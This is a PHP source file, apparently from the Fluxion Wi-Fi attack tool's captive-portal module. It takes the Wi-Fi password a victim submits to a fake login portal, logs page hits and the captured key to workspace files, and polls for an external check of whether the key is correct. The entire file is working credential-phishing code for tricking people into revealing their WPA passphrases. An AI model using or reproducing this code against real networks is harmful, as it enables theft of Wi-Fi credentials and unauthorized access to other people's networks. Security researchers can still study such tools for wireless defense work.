fluxion/attacks/Captive Portal/lib/authenticator.php

59 lines
1.7 KiB
PHP

<?php
error_reporting(0);
/*
The following represents the authenticator result.
By default, we assume the password is incorrect.
Notice: This variable is used by files including
this script, and by the authenticator itself below.
*/
$candidate_code = 0;
// Receive get & post data and store to variables
$candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw");
$matches = array_intersect_key($_POST, array_flip($candidateKeyFields));
// Retrieve just the first matched value
$key = reset($matches);
// No password was given
if(empty($key)) return;
// Update hit attempts
$page_hits_log_path = ("$FLUXIONWorkspacePath/hit.txt");
$page_hits = file($page_hits_log_path)[0] + 1;
$page_hits_log = fopen($page_hits_log_path, "w");
fputs($page_hits_log, $page_hits);
fclose($page_hits_log);
// Prepare candidate and attempt passwords files' locations.
$attempt_log_path = "$FLUXIONWorkspacePath/pwdattempt.txt";
$candidate_path = "$FLUXIONWorkspacePath/candidate.txt";
$attempt_log = fopen($attempt_log_path, "w");
fwrite($attempt_log, $key);
fwrite($attempt_log, "\n");
fclose($attempt_log);
// Write candidate key to file to prep for checking.
$candidate = fopen($candidate_path, "w");
fwrite($candidate, $key);
fwrite($candidate, "\n");
fclose($candidate);
$candidate_result_path = "$FLUXIONWorkspacePath/candidate_result.txt";
// Create candidate result file to trigger checking.
$candidate_result = fopen($candidate_result_path, "w");
fwrite($candidate_result,"\n");
fclose($candidate_result);
do {
sleep(1);
$candidate_code = trim(file_get_contents($candidate_result_path));
} while (!ctype_digit($candidate_code));
// Reset file by deleting it.
unlink($candidate_result_path);